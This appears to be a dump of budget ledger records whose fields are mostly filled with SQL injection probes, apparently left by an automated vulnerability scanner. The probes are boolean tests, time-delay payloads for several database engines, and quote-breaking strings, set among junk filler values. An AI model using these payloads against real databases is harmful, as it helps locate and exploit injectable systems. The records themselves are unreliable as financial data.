<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1" OR 5*5=26 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1' OR 5*5=25 or 'AsSTOu8H'='</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>(select 198766*667891 from DUAL)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>-1 OR 5*5=26 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1 OR 5*5=25</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=26 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1" OR 5*5=26 -- </ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>-1' OR 5*5=26 or 'WrfLKeNm'='</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMUE04cVUvm'; waitfor delay '0:0:15' -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>@@dzyYO</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU-1 waitfor delay '0:0:15' -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU����%2527%2522\'\"</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>(select 198766*667891 from DUAL)</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1) OR 854=(SELECT 854 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1-1)) OR 895=(SELECT 895 FROM PG_SLEEP(15))--</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1'"</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>@@Npe2z</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>(select 198766*667891)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMUxiqma2Jh</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=26 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=25</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1 OR 5*5=26</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1' OR 5*5=25 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1' OR 5*5=26 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1" OR 5*5=25 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>-1" OR 5*5=26 -- </department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1VFMy86Pg</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=26 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>p9rfUHnx</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1 OR 5*5=26</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=26 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1" OR 5*5=25 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1" OR 5*5=26 -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1' OR 5*5=25 or 'YJIIvIe5'='</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>-1" OR 5*5=25 or "jcdgsnRi"="</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1); waitfor delay '0:0:15' -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1 waitfor delay '0:0:15' -- </cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1-1) OR 395=(SELECT 395 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1YZ0Nu4DQ' OR 367=(SELECT 367 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1ccLSkxwm') OR 157=(SELECT 157 FROM PG_SLEEP(15))--</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1'"</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMUKNXK2OEM' OR 724=(SELECT 724 FROM PG_SLEEP(15))--</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
